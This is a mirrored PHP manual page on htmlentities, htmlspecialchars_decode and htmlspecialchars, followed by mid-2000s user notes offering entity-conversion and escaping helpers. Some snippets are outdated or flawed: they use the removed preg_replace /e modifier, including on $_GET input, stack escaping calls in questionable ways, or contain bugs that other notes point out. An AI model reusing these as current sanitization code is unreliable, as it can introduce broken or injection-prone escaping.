       155 => '&#8250;',
       156 => '&#339;',
       158 => '&#382;',
       159 => '&#376;');
   $var = str_replace(array_map('chr', array_keys($chars)), $chars, htmlentities(stripslashes($var)));
   if($nl2br){
       return nl2br($var);
   } else {
       return $var;
   }
}
?>
cedric at shift-zone dot be
04-May-2004 09:02
This is a conversion function for special chars.
Very usefull to convert a word document into valid html
(the html provided is successfully parsed by sablotron 0.97 using iso-8859-1 charset) :

function convertDoc2HTML($txt){
       $len = strlen($txt);
       $res = "";
       for($i = 0; $i < $len; ++$i) {
           $ord = ord($txt{$i});
           // check only non-standard chars
           if($ord >= 126){
               $res .= "&#".$ord.";";
           }
           else {
               // escape ", ' and \ chars
               switch($ord){
                   case 34 :
                       $res .= "\\\"";
                       break;
                   case 39 :
                       $res .= "\'";
                       break;
                   case 92 :
                       $res .= "\\\\";
                       break;
                   default : // the rest does not have to be modified
                       $res .= $txt{$i};
               }
           }
       }
       return $res;
}
jake_mcmahon at hotmail dot com
30-Apr-2004 05:29
This fuction is particularly useful against XSS (cross-site-scripting-). XSS makes use of holes in code, whether it be in Javascript or PHP. XSS often, if not always, uses HTML entities to do its evil deeds, so this function in co-operation with your scripts (particularly search or submitting scripts) is a very useful tool in combatting "H4X0rz".
Guillaume Beaulieu
12-Apr-2004 05:10
Here's a simple script to transform filename with accented character in it into much more usable unaccented character for a restrictive filesystem.

$string = htmlentities($stringToModify);
/* Take the first letter of the entity (if you got filename with ([<>] in it the result will probably remain lookable*/
$string =  preg_replace("/\&(.)[^;]*;/", "\\1", $string);
/* Change the whitespace into _*/
$string = preg_replace("/[ ]/", "_", $string);
/* Dance ! */
print $string;
Funky Ants
04-Apr-2004 03:55
I had a problem working with partially html encoded data, with a selection of unescaped ampersands, hex coded, and characters in "&amp;", style.
Which ive finally overcome by decoding all of the data, adn then reincoding it all.

I found a combination of a couple of peoples work useful.

function get_htmlspecialchars( $given, $quote_style = ENT_QUOTES ){
   return htmlentities( unhtmlentities(  $given ) , $quote_style  );
}

function unhtmlentities( $string ){
   $trans_tbl = get_html_translation_table ( HTML_ENTITIES );
   $trans_tbl = array_flip( $trans_tbl );
   $ret = strtr( $string, $trans_tbl );
   return preg_replace( '/&#(\d+);/me' , "chr('\\1')" , $ret );
}
wwb at 3dwargamer dot net
01-Apr-2004 08:49
htmlentites is a very handy function, but it fails to fix one thing which I deal with alot: word 'smart' quotes and emdashes.

The below function replaces the funky double quotes with &quot;, funky single quotes with standard single quotes and fixes emdashes.

   function CleanupSmartQuotes($text)
   {
       $badwordchars=array(
                           chr(145),
                           chr(146),
                           chr(147),
                           chr(148),
                           chr(151)
                           );
       $fixedwordchars=array(
                           "'",
                           "'",
                           '&quot;',
                           '&quot;',
                           '&mdash;'
                           );
       return str_replace($badwordchars,$fixedwordchars,$text);
   }
arjini at mac dot com
19-Mar-2004 03:49
If you're looking to provide bare bones protection to email addresses posted to the web try this:

###

$string = 'arjini@mac.com';
for($i=0;$i<strlen($string);++$i){
   $n = rand(0,1);
   if($n)
       $finished.='&#x'.sprintf("%X",ord($string{$i})).';';
   else
       $finished.='&#'.ord($string{$i}).';';
}
echo $finished;

###

This randomly encodes a mix of hex and oridinary HTML entities for every character in the address. Note that a decoding mechanism for this could probably be written just as easily, so eventually the bots will be able to cut through this like butter, but for now, it seems like most harvesters are only looking for non-hex html entities.
stewey at ambitious dot ca
05-Mar-2004 10:11
This version of macRomanToIso (originally posted by: marcus at synchromedia dot co dot uk) offers a couple of improvements. First, it removes the extra slashes '\' that broke the original function. Second, it adds four quote characters not supported in ISO 8859-1. These are the left double quote, right double quote, left single quote and right single quote.

Be sure to remove the line breaks from the two strings going into strtr or this function will not work properly.

Be careful what text you apply this to. If you apply it to ISO 8859-1 encoded text it will likely wreak havoc. I'll save you some trouble with this bit of advice: don't bother trying to detect what charset a certain text file is using, it can't be done reliably. Instead, consider making assumptions based upon the HTTP_USER_AGENT, or prompting the user to specify the character encoding used (perhaps both).

<?php

/**
 * Converts MAC OS ROMAN encoded strings to the ISO 8859-1 charset.
 *
 * @param    string    the string to convert.
 * @return    string    the converted string.
 */
function macRomanToIso($string)
{
   return strtr($string,
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b
\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97
\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa1\xa4\xa6\xa7
\xa8\xab\xac\xae\xaf\xb4\xbb\xbc\xbe\xbf\xc0\xc1
\xc2\xc7\xc8\xca\xcb\xcc\xd6\xd8\xdb\xe1\xe5\xe6
\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf1\xf2\xf3
\xf4\xf8\xfc\xd2\xd3\xd4\xd5",
"\xc4\xc5\xc7\xc9\xd1\xd6\xdc\xe1\xe0\xe2\xe4\xe3
\xe5\xe7\xe9\xe8\xea\xeb\xed\xec\xee\xef\xf1\xf3
\xf2\xf4\xf6\xf5\xfa\xf9\xfb\xfc\xb0\xa7\xb6\xdf\xae
\xb4\xa8\xc6\xd8\xa5\xaa\xba\xe6\xf8\xbf\xa1\xac
\xab\xbb\xa0\xc0\xc3\xf7\xff\xa4\xb7\xc2\xca\xc1
\xcb\xc8\xcd\xce\xcf\xcc\xd3\xd4\xd2\xda\xdb\xd9
\xaf\xb8\x22\x22\x27\x27");
}

?>
Julien CROUZET
28-Nov-2003 04:01
If you are looking for a htmlentities inverse :
<?
$table        = array_flip(get_html_translation_table(HTML_ENTITIES));
$plaintext    = strtr($html, $table);
?>

Here is a full example to extract plaintext from a SIMPLE html page (not table, etc...)

<?
$file_content    = file_get_contents($htmlfile);
$file_content    = strip_tags($file_content, '<br>');
$file_content    = preg_replace('/<br( )?(\/)?>/i', "\n", $file_content);
$file_content    = wordwrap($file_content);
$table            = array_flip(get_html_translation_table(HTML_ENTITIES));
$file_content    = strtr($file_content, $table);
?>
root[noSPAM]cyberdark.net
24-Nov-2003 10:53
A little function that may help someone. Is useful where, FE, someone writes a text through a content management panel and is also able to put html (bolds, italics,...), so we don't want to convert html tags but all the rest. The code offers a few examples of extra entities.

function myhtmlentities($str) {

   $tbl=get_html_translation_table(HTML_ENTITIES);

   unset ($tbl["<"]);
   unset ($tbl[">"]);
   unset ($tbl["'"]);
   unset ($tbl['"']);

   $tbl[""]="&quot;";
   $tbl[""]="&quot;";
   $tbl[""]="...";
   $tbl[""]="-";
   $tbl[""]="&raquo;";
   $tbl[""]="&laquo;";

   return str_replace(array_keys($tbl),array_values($tbl),$str);

}
dmurphy at telegeography dot com
20-Sep-2003 02:14
// htmlentities() does not support Mac Roman, so this is a workaround. It requires the below table.
// This function runs on a Mac OSX machine, where text is stored in the Mac Roman character set inside a Mac OSX MySQL table.
function custom_htmlentities ($string, $table) {
   // Loop throught the array, replacing each ocurrance
   for ($n = 0; $n < count($table); $n++) {
       $table_line = each($table);
       // use the chr function to get the one character string for each ascii decimal code
       $find_char = chr($table_line[key]);
       $replace_string = $table_line[value];
       $string = str_replace($find_char, $replace_string, $string);
   }
   return $string;
}
pinkpanther at swissonline dot ch
28-Jul-2003 05:29
In case you want a 'htmlentities' function which prevents 'double' encoding of the ampersands of already present entities (&gt; => &amp;gt;), use this:

function htmlentities2($myHTML) {
   $translation_table=get_html_translation_table (HTML_ENTITIES,ENT_QUOTES);
   $translation_table[chr(38)] = '&';
   return preg_replace("/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,3};)/","&amp;" , strtr($myHTML, $translation_table));
}
defrostdj at defrostdj dot com
26-Jul-2003 03:10
Here you have a character map function ;)

<?php
function htmldecode($encoded, $char = 'HTML_SPECIALCHARS') {
   foreach($encoded as $key => $value){
       echo $value .' --> ';
       if ($char == 'HTML_SPECIALCHARS') {
           echo htmlspecialchars($value);
       } else {
           echo htmlentities($value);
       }
       echo '&gtbr&lt';
   }
}
echo 'ENTITIES<&gtbr&lt><&gtbr&lt>';
$entities = get_html_translation_table (HTML_ENTITIES);
htmldecode($entities, 'HTML_ENTITIES');
echo '<&gtbr&lt>SPECIAL CHARACTERS<&gtbr&lt><&gtbr&lt>';
$specialchars = get_html_translation_table (HTML_SPECIALCHARS);
htmldecode($specialchars, 'HTML_SPECIALCHARS');

?>

So next time you're developing you'll always have a charmap ready to use.
webwurst at web dot de
30-Jun-2003 03:20
This function changes all entities to unicode-entities.
For example '<' becomes '&#60;', '' becomes '&#169;', etc.

function xmlentities($string, $quote_style=ENT_COMPAT)
{
   $trans = get_html_translation_table(HTML_ENTITIES, $quote_style);

   foreach ($trans as $key => $value)
       $trans[$key] = '&#'.ord($key).';';

   return strtr($string, $trans);
}
Anthony Aragues
24-Jun-2003 07:24
I found in a previous not the function for encoding the input... which worked great, but it also encoded the &nbsp and <br> that was being automatically added in my POST, so I created and Output function to go with it that worked for me:
function VerbatimInput($String)
   {
   $Output = mysql_escape_string(htmlentities(addslashes($String)));
   return $Output;
   }

function VerbatimOutput($Input)
   {
   $Output = str_replace("&lt;br /&gt;", "<br>", "$Input");
       $Output = str_replace("&amp;nbsp;", "&nbsp", "$Output");
   return $Output;
   }
rob at neorosa dot com
01-Mar-2003 12:12
This function will encode everything, either using ascii values or special entities:

function encode_everything($string){
   $encoded = "";
   for ($n=0;$n<strlen($string);$n++){
       $check = htmlentities($string[$n],ENT_QUOTES);
       $string[$n] == $check ? $encoded .= "&#".ord($string[$n]).";" : $encoded .= $check;
   }
   return $encoded;
}

so you can use:

$emailAddress = encode_everything($emailAddress);

to protect an email address - although I imagine it's not a great deal of protection.
Bassie (:
06-Jan-2003 08:07
Note that you'll have use htmlentities() before any other function who'll edit text like nl2br().

If you use nl2br() first, the htmlentities() function will change < br > to &lt;br&gt;.
kumar at chicagomodular.com
29-Oct-2002 09:51
without heavy scientific analysis, this seems to work as a quick fix to making text originating from a Microsoft Word document display as HTML:

function DoHTMLEntities ($string)
   {
       $trans_tbl = get_html_translation_table (HTML_ENTITIES);

       // MS Word strangeness..
       // smart single/ double quotes:
       $trans_tbl[chr(145)] = '\'';
       $trans_tbl[chr(146)] = '\'';
       $trans_tbl[chr(147)] = '&quot;';
       $trans_tbl[chr(148)] = '&quot;';
       //  :
       $trans_tbl[chr(142)] = '&eacute;';

       return strtr ($string, $trans_tbl);
   }
add a note add a note

后退 | 起点 | 前进
html_entity_decode | 上一级 | htmlspecialchars_decode


htmlspecialchars_decode

(PHP 5 >= 5.1.0RC1)

htmlspecialchars_decode -- Convert special HTML entities back to characters

说明

string htmlspecialchars_decode ( string string [, int quote_style] )

This function is the opposite of htmlspecialchars(). It converts special HTML entities back to characters.

The converted entities are: &amp;, &quot; (when ENT_NOQUOTES is not set), &#039; (when ENT_QUOTES is set), &lt; and &gt;.

参数

string

The string to decode

quote_style

The quote style. One of the following constants:

表格 1. quote_style constants

Constant Name | Description
ENT_COMPAT | Will convert double-quotes and leave single-quotes alone (default)
ENT_QUOTES | Will convert both double and single quotes
ENT_NOQUOTES | Will leave both double and single quotes unconverted

返回值

Returns the decoded string.

范例

例子 1. A htmlspecialchars_decode() example

<?php
$str = '<p>this -&gt; &quot;</p>';

echo htmlspecialchars_decode($str);

// note that here the quotes aren't converted
echo htmlspecialchars_decode($str, ENT_NOQUOTES);
?>

上例将输出：

<p>this -> "</p>
<p>this -> &quot;</p>

参见

htmlspecialchars()
html_entity_decode()
get_html_translation_table()

add a note add a note User Contributed Notes
TheSin
10-May-2006 05:51
Here is how you can get this function in php < 5.1, just make sure this function is before you try and call the function.

if (!function_exists('htmlspecialchars_decode')) {
       function htmlspecialchars_decode($str, $options="") {
               $trans = get_html_translation_table(HTML_SPECIALCHARS, $options);

               $decode = ARRAY();
               foreach ($trans AS $char=>$entity) {
                       $decode[$entity] = $char;
               }

               $str = strtr($str, $decode);

               return $str;
       }
}
se at designlinks dot net
15-Dec-2005 12:43
The code supplied by or-k at or-k dot com (14-Sep-2005 09:15) is better served using html_entity_decode() for PHP>=4.3.0.
geoffers@gmail (14-Jul-2005 01:38) offers the best htmlspecialchars_decode() for php4 users.
or-k at or-k dot com
14-Sep-2005 05:15
that works also with &auml; and &quot; and so on.
get_html_translation_table(HTML_ENTITIES) => offers more characters than HTML_SPECIALCHARS

function htmlspecialchars_decode_PHP4($uSTR)
{
 return strtr($uSTR, array_flip(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES)));
}
geoffers@gmail
14-Jul-2005 09:38
[Update of previous note, having noticed I forgot to put in quote style]

PHP4 Compatible function:

<?php

function htmlspecialchars_decode_php4 ($str, $quote_style = ENT_COMPAT) {
   return strtr($str, array_flip(get_html_translation_table(HTML_SPECIALCHARS, $quote_style)));
}

?>
geoffers at gmail dot com
14-Jul-2005 09:30
For PHP4 Compatibility:

<?php

function htmlspecialchars_decode_php4 ($str) {
   return strtr($str, array_flip(get_html_translation_table(HTML_SPECIALCHARS)));
}

?>
add a note add a note

后退 | 起点 | 前进
htmlentities | 上一级 | htmlspecialchars


htmlspecialchars

(PHP 3, PHP 4, PHP 5)

htmlspecialchars -- Convert special characters to HTML entities

Description

string htmlspecialchars ( string string [, int quote_style [, string charset]] )

Certain characters have special significance in HTML, and should be represented by HTML entities if they are to preserve their meanings. This function returns a string with some of these conversions made; the translations made are those most useful for everyday web programming. If you require all HTML character entities to be translated, use htmlentities() instead.

This function is useful in preventing user-supplied text from containing HTML markup, such as in a message board or guest book application. The optional second argument, quote_style, tells the function what to do with single and double quote characters. The default mode, ENT_COMPAT, is the backwards compatible mode which only translates the double-quote character and leaves the single-quote untranslated. If ENT_QUOTES is set, both single and double quotes are translated and if ENT_NOQUOTES is set neither single nor double quotes are translated.

The translations performed are:

  • '&' (ampersand) becomes '&amp;'

  • '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set.

  • ''' (single quote) becomes '&#039;' only when ENT_QUOTES is set.

  • '<' (less than) becomes '&lt;'

  • '>' (greater than) becomes '&gt;'

例子 1. htmlspecialchars() example

<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>

Note that this function does not translate anything beyond what is listed above. For full entity translation, see htmlentities(). Support for the optional second argument was added in PHP 3.0.17 and PHP 4.0.3.

The third argument charset defines character set used in conversion. The default character set is ISO-8859-1. Support for this third argument was added in PHP 4.1.0.

PHP 4.3.0 及其后续版本支持如下字符集。

表格 1. 已支持字符集

字符集 | 别名 | 描述
ISO-8859-1 | ISO8859-1 | 西欧，Latin-1
ISO-8859-15 | ISO8859-15 | 西欧，Latin-9。增加了 Latin-1（ISO-8859-1）中缺少的欧元符号、法国及芬兰字母。
UTF-8 |  | ASCII 兼容多字节 8-bit Unicode。
cp866 | ibm866, 866 | DOS-特有的 Cyrillic 字母字符集。PHP 4.3.2 开始支持该字符集。
cp1251 | Windows-1251, win-1251, 1251 | Windows-特有的 Cyrillic 字母字符集。PHP 4.3.2 开始支持该字符集。
cp1252 | Windows-1252, 1252 | Windows 对于西欧特有的字符集。
KOI8-R | koi8-ru, koi8r | 俄文。PHP 4.3.2 开始支持该字符集。
BIG5 | 950 | 繁体中文，主要用于中国台湾。
GB2312 | 936 | 简体中文，国际标准字符集。
BIG5-HKSCS |  | 繁体中文，Big5 的延伸，主要用于香港。
Shift_JIS | SJIS, 932 | 日文。
EUC-JP | EUCJP | 日文。

注: ISO-8859-1 将代替任何其它无法识别的字符集。

See also get_html_translation_table(),
strip_tags(),
htmlentities(), and nl2br().

add a note add a note User Contributed Notes
MacIsaac
13-Apr-2006 04:05
<?php

// Escapes strings to be included in javascript
function jsspecialchars($s) {
   return preg_replace('/([^ !#$%@()*+,-.\x30-\x5b\x5d-\x7e])/e',
       "'\\x'.(ord('\\1')<16? '0': '').dechex(ord('\\1'))",$s);
}

?>

<script>
var some_variable = '<?= jsspecialchars($_GET['some_variable']) ?>';
</script>
richard at mf2fm dot com
03-Mar-2006 05:06
I had a script which detected swearing and wanted to make sure that words such as 'f &uuml; c k' didn't slip through the system.

After using htmlentities(), the following line converts most extended alphabet characters back to the standard alphabet so you can spot such problems..

$text=eregi_replace("&([a-z])[a-z0-9]{3,};", "\\\\1", $text);

This changes, for example, '&uuml;' into 'u' and '&szlig' into 's'.  Sadly it also converts '&pound;' and '&para;' into 'p' so it's not perfect but does solve a lot of the problems
mikiwoz at yahoo dot co dot uk
07-Oct-2005 05:40
I am not sure, maybe I'm missing something, but I have found something interesting:
I've been working on a project, where I had to use htmlspecialchars (for opbvious reasons). I olso needed to de-code the encoded string. What I have done was almost a copy and paste from php.net:
$trans=get_html_translation_table(HTML_SPECIALCHARS, ENT_QUOTES);
$trans=array_flip($trans);
$string=strtr($encoded, $trans);
(it looked a bit different in my code, but the idea is clear)
I couldn't get the apostrophe sign de-coded, and I needed it for the <A> tags. After an hour or so of debuging, I decided do print_r($trans). What I got was:
...
[&#39;] => '
...
BUT the apostrophe was encoded to $#039; -> note the zero.
I don't suppose it's a bug, but it definetely IS a potential pitfall, watch out for this one.
Luiz Miguel Axcar (lmaxcar at yahoo dot com dot br)
01-Sep-2005 09:16
Hello,

If you are getting trouble to SGDB write/read HTML data, try to use this:

<?php

//from html_entity_decode() manual page
function unhtmlentities ($string) {
   $trans_tbl =get_html_translation_table (HTML_ENTITIES );
   $trans_tbl =array_flip ($trans_tbl );
   return strtr ($string ,$trans_tbl );
}

//read from db
$content = stripslashes (htmlspecialchars ($field['content']));

//write to db
$content = unhtmlentities (addslashes (trim ($_POST['content'])));

//make sure result of function get_magic_quotes_gpc () == 0, you can get strange slashes in your content adding slashes twice

//better to do this using addslashes
$content = (! get_magic_quotes_gpc ()) ? addslashes ($content) : $content;

?>
jspalletta at gmail dot com
12-Jul-2005 08:37
I have found that this regular expression is sufficient for making sure that existing character entities show after htmlspecialchars() replaces _all_ occurrences of & with the &amp; entity.

<?php
// Note: hsc is an abbreviation of htmlspecialchars
function hscFixed($str)
{
   return preg_replace("/&amp;(#[0-9]+|[a-z]+);/i", "&$1;", htmlspecialchars($str));
}
?>

The only flaw I can think of is if you have text of the vein; "&[word];", that is not meant to be a character but rather uses the ampersand and semicolon in their traditional grammatical denotations.  However I think this is highly unlikely to occur (among other reasons, the fact that anyone with enough grammatical inclination to use them as such probably won't leave out the space between the ampersand and the word).
25-Jun-2005 11:44
You can't use htmlspecialchars to create RSS feeds, since it expands ampersands.You need to use something like this:
$content = preg_replace(array('/</', '/>/', '/"/'), array('&lt;', '&gt;', '&quot;'), $content);
palrich at gmail dot com
17-May-2005 04:29
To Alexander Nofftz and urbanheroes:
It's not an IE problem.  There is no &apos; in HTML.  So it's only a problem if someone else does render this as an apostraphe on an HTML page.
paul dot l at aon dot at
10-May-2005 12:50
function reverse_htmlentities($mixed)
{
   $htmltable = get_html_translation_table(HTML_ENTITIES);
   foreach($htmltable as $key => $value)
   {
       $mixed = ereg_replace(addslashes($value),$key,$mixed);
   }
   return $mixed;
}

this is my version of a reversed htmlentities function
thisiswherejunkgoes at gmail dot com
06-May-2005 01:06
If there're any n00bs out there looking for a way to ensure that no html/special chars are getting sent to their databases/put through forms/etc., this has been doing the trick for me (though being at least slightly n00bish, if this won't always work perhaps someone will ammend :-)

function checkforchars ($foo) {

  if ($foo === htmlspecialchars($foo)) {
       return "Valid entry.";
  } else {
       return "Invalid entry.";
  }

}
urbanheroes {at} gmail {dot} com
01-May-2005 02:32
In response to the note made by Alexander Nofftz on October 2004, &#39; is used instead of &apos; because IE unfortunately seems to have trouble with the latter.
gt at realvertex.com
29-Apr-2005 12:55
Here is the recursive version that works for both arrays and strings. Doesn't look as elegant as the other recursive versions, because of the input checks.

function HTML_ESC($_input = null, $_esc_keys = false)
{
   if ((null != $_input) && (is_array($_input)))
   {
       foreach($_input as $key => $value)
       {
           if($_esc_keys)
           {
               $_return[htmlspecialchars($key)] = HTML_ESC($value,$_esc_keys);
           }
           else
           {
               $_return[$key] = HTML_ESC($value);
           }
       }
       return $_return;
   }
   elseif(null != $_input)
   {
       return htmlspecialchars($_input);
   }
   else
   {
       return null;
   }
}
took
24-Apr-2005 12:14
The Algo from donwilson at gmail dot com to reverse the action of htmlspecialchars(), edited for germany:

function unhtmlspecialchars( $string )
{
  $string = str_replace ( '&amp;', '&', $string );
  $string = str_replace ( '&#039;', '\'', $string );
  $string = str_replace ( '&quot;', '"', $string );
  $string = str_replace ( '&lt;', '<', $string );
  $string = str_replace ( '&gt;', '>', $string );
  $string = str_replace ( '&uuml;', '', $string );
  $string = str_replace ( '&Uuml;', '', $string );
  $string = str_replace ( '&auml;', '', $string );
  $string = str_replace ( '&Auml;', '', $string );
  $string = str_replace ( '&ouml;', '', $string );
  $string = str_replace ( '&Ouml;', '', $string );
  return $string;
}
11-Mar-2005 08:22
function htmlspecialchars_array($arr = array()) {
   $rs =  array();
   while(list($key,$val) = each($arr)) {
       if(is_array($val)) {
           $rs[$key] = htmlspecialchars_array($val);
       }
       else {
           $rs[$key] = htmlspecialchars($val, ENT_QUOTES);
       }
   }
   return $rs;
}
beer UNDRSCR nomaed AT hotmail DOT com
01-Feb-2005 06:46
After inspecting the non-native encoding problem, I noticed that for example, if the encoding is cyrillic, and I write Latin characters that are not part of the encoding ( for example - ae-ligature), the browser will send the real entity, such as &aelig; for this case.
Therefore, the only way I see to display multilingual text that is encoded with entities is by:
<?php
   echo str_replace('&amp;', '&', htmlspecialchars($txt));
?>

The regex for numeric entities will skip the Latin-1 textual entities.
zolinak at zoli dot szathmari dot hu
14-Dec-2004 08:46
A sample function, if anybody want to turn html entities (and special characters) back to simple. (eg: "&egrave;", "<" etc)

function html2specialchars($str){
   $trans_table = array_flip(get_html_translation_table(HTML_ENTITIES));
   return strtr($str, $trans_table);
}
beer UNDRSCR nomaed AT hotmail DOT com
21-Oct-2004 04:03
Quite often, on HTML pages that are not encoded as UTF-8, and people write in not native encoding, some browser (for sure IExplorer) will send the different charset characters using HTML Entities, such as &#1073; for small russian 'b'.
htmlspecialchars() will convert this character to the entity, since it changes all & to &amp;
What I usually do, is either turn &amp; back to & so the correct characters will appear in the output, or I use some regex to replace all entities of characters back to their original entity:
<?php
   // treat this as pseudo-code, it hasn't been tested...
   $result = preg_replace('/&amp;#(x[a-f0-9]+|[0-9]+);/i', '&#$1;', $source);
?>
Alexander Nofftz
20-Oct-2004 07:41
Why &#39;? The HTML and XML DTDs proposed &apos; for this.
See http://www.w3.org/TR/html/dtds.html#a_dtd_Special_characters

So better use this:

$text = htmlspecialchars($text, ENT_QUOTES);
$text = preg_replace('/&#0*39;/', '&apos;', $text);
mlvanbie at gmail dot com
07-Oct-2004 07:45
The code in the previous note has a bug.  If the original text was `&gt;' then htmlspecialchars will turn it into `&amp;gt;' and the suggested code will turn that into `>'.  The &amp; translation must be last.
donwilson at gmail dot com
26-Sep-2004 12:58
To reverse the action of htmlspecialchars(), use this code:

<?php
   unhtmlspecialchars( $string )
   {
       $string = str_replace ( '&amp;', '&', $string );
       $string = str_replace ( '&#039;', '\'', $string );
       $string = str_replace ( '&quot;', '\"', $string );
       $string = str_replace ( '&lt;', '<', $string );
       $string = str_replace ( '&gt;', '>', $string );

       return $string;
   }
?>
thelatesundayshow.com @ nathan (flip it)
03-Sep-2004 02:51
heres a version of the recursive escape function that takes the array byref rather than byval so saves some resources in case of big arrays

function recurse_array_HTML_safe(&$arr) {
   foreach ($arr as $key => $val)
       if (is_array($val))
           recurse_array_HTML_safe($arr[$key]);
       else
           $arr[$key] = htmlspecialchars($val, ENT_QUOTES);
}
moc.xnoitadnuof@310symerej
21-Apr-2004 07:04
Here are some usefull functions.
They will apply || decode, htmlspecialchars || htmlentities recursivly to arrays() || to regular $variables. They also protect agains "double encoding".

<?PHP
function htmlspecialchars_or( $mixed, $quote_style = ENT_QUOTES ){
   return is_array($mixed) ? array_map('htmlspecialchars_or',$mixed, array_fill(0,count($mixed),$quote_style)) : htmlspecialchars(htmlspecialchars_decode($mixed, $quote_style ),$quote_style);
}

function htmlspecialchars_decode( $mixed, $quote_style = ENT_QUOTES ) {
   if(is_array($mixed)){
     return array_map('htmlspecialchars_decode',$mixed, array_fill(0,count($mixed),$quote_style));
  }
  $trans_table = get_html_translation_table( HTML_SPECIALCHARS, $quote_style );
   if( $trans_table["'"] != '&#039;' ) { # some versions of PHP match single quotes to &#39;
       $trans_table["'"] = '&#039;';
   }
   return (strtr($mixed, array_flip($trans_table)));
}

function htmlentities_or($mixed, $quote_style = ENT_QUOTES){
   return is_array($mixed) ? array_map('htmlentities_or',$mixed, array_fill(0,count($mixed),$quote_style)) : htmlentities(htmlentities_decode($mixed, $quote_style ),$quote_style);
}

function htmlentities_decode( $mixed, $quote_style = ENT_QUOTES ) {
  if(is_array($mixed)){
     return array_map('htmlentities_decode',$mixed, array_fill(0,count($mixed),$quote_style));
  }
   $trans_table = get_html_translation_table(HTML_ENTITIES, $quote_style );
   if( $trans_table["'"] != '&#039;' ) { # some versions of PHP match single quotes to &#39;
       $trans_table["'"] = '&#039;';
   }
   return (strtr($mixed, array_flip($trans_table)));
}
?>

These functions are an addition to an earlier post. I would like to give the person some credit but I do not know who it was.

<?  ;llnu=u!eJq dHd?>
Dave Duchene
20-Feb-2004 09:58
Here is a handy function that will escape the contents of a variable, recursing into arrays.

<?php
function escaporize($thing) {
  if (is_array($thing)) {
   $escaped = array();

   foreach ($thing as $key => $value) {
     $escaped[$key] = escaporize($value);
   }

   return $escaped;
  }

  // else
  return htmlspecialchars($thing);
}
?>
mike-php at emerge2 dot com
21-Nov-2003 06:13
Here's a handy function that guards against 'double' encoding:

# Given a string, this function first strips out all html special characters, then
# encodes the string, safely returning an encoded string without double-encoding.
function get_htmlspecialchars( $given, $quote_style = ENT_QUOTES ){
   return htmlspecialchars( html_entity_decode( $given, $quote_style ), $quote_style );
}

# Needed for older versions of PHP that do not have this function built-in.
function html_entity_decode( $given_html, $quote_style = ENT_QUOTES ) {
   $trans_table = get_html_translation_table( HTML_SPECIALCHARS, $quote_style );
   if( $trans_table["'"] != '&#039;' ) { # some versions of PHP match single quotes to &#39;
     $trans_table["'"] = '&#039;';
   }
   return ( strtr( $given_html, array_flip( $trans_table ) ) );
}

Note: I set the default to ENT_QUOTES, as this makes more sense to me than the PHP function's default of ENT_COMPAT.
nospam at somewhere dot com
16-Jun-2003 01:28
most simple function for decoding html-encoded strings:

function htmldecode($encoded) {
   return strtr($encoded,array_flip(get_html_translation_table(HTML_ENTITIES)));
}
dystopia589 at yahoo dot com
13-Mar-2003 11:58
Sorry, part of that code was unnecessary. Here's a more readable version:

function SpecialChars($Security)
{
if (is_array($Security))
{
while(list($key, $val) = each($Security))
{
$Security[$key] = SpecialChars($val);
}
}
else
{
$Security = htmlspecialchars(stripslashes($Security), ENT_QUOTES);
}
return $Security;
}
webmaster at NOSPAM dot onlinegs dot com
29-Jan-2003 02:51
for those of you using V 4.3.0+ you can use html_entity_decode() to decode a string encoded with htmlspecialschars(), this should be faster and easier then using a str_replace or ereg.
_____ at luukku dot com
15-Sep-2002 05:21
People, don't use ereg_replace for the most simple string replacing operations (replacing constant string with another).
Use str_replace.
akira dot yoshi at shrine dot de
16-May-2002 12:15
If you need to htmlspecialchars a jis string, here's a function that does:

function htmlspecialchars_jis($text) {
   $ret="";
   if ($text=="") return "";
   $esc=chr(27);
   $text=$esc."$B".$esc."$B".$text;
   $text=str_replace($esc."(B", $esc."$B", $text);
   $trans=explode($esc."$B", $text);
   $enc=0;
   while (list (, $val) = each ($trans))  {
       if ($enc==0) {
           $val.="";
           if ($val!="") $ret.=htmlspecialchars($val);
           $enc=1;
       } else {
           $val.="";
           if ($val!="") $ret.=$esc."$B".$val.$esc."(B";
           $enc=0;
       };
   }
   return $ret;
};

BTW: I'm very(!) sure that JIS is iso-2022-jp, not iso-2002-jp
juadielon_NOSPAM at hotmail dot com
01-May-2002 12:09
I was trying to retrieve information from a database to display it into the browser. However it did not work as I was expecting.  For instance double quotes () and single quotes () were conflicting in HTML in an INPUT selector.

The first approach to solve this was to use htmlspecialchars to convert special characters to HTML entities to display the input box with its value.

$encode=htmlspecialchars($str, ENT_QUOTES);

However, the result was having HTML entities with a \ (backslash) preceding it (escape characters).  For instance ampersand (&) becomes \&amp; displaying \& and double quotes becomes \&quot; displaying \

So the final solution was to replace first any \ (backslash) and then ask htmlspecialchars to make the conversion.

[Editor's Note: This is the wrong way to do this. The proper way is to use

$encoded = htmlspecialchars(stripslashes($str), ENT_QUOTES);
]

$encoded=htmlspecialchars(str_replace('\\', '', $str), ENT_QUOTES);

Try this example to see it your self.

<form action="<?php echo $PHP_SELF; ?>">
<input type="text" name="str" size="20" value="">
<input type="submit" value="Submit">
<br>
<?php
  if (!empty($str)) {
   $encoded=htmlspecialchars(str_replace('\\', '', $str), ENT_QUOTES);
   echo "<br><p>Result: <b>".$encoded."</b>. It should be the same you just typed</p>";
   echo "<p>But source code is transformed to:<b><xmp>".$encoded."</xmp></b></p>";
   // I know, I know <xmp> is deprecated in HTML 4 but was easy to use this time to display result.
  }
?>
</form>

Hope this will helps someone.
akira at kurogane dot net
02-Apr-2002 01:42
Beware of parsing JIS (aka 'iso-2002-jp') text through this function, as this function does not appear to have a sense for multibyte characters and may corrupt some characters. Eg. the japanese comma (the two ascii characters !" as viewed by an ascii client) gets transferred into !&quot; , which transforms the comma into a 'maru' mark and the following characters into garbage.
Conceivably this could affect other multibyte charsets.
joseph at nextique dot com
20-Feb-2002 05:21
Here is a handy function to htmlalize an array (or scalar) before you hand it off to xml.

function htmlspecialchars_array($arr = array()) {
   $rs =  array();
   while(list($key,$val) = each($arr)) {
       if(is_array($val)) {
           $rs[$key] = htmlspecialchars_array($val);
       }
       else {
           $rs[$key] = htmlspecialchars($val, ENT_QUOTES);
       }
   }
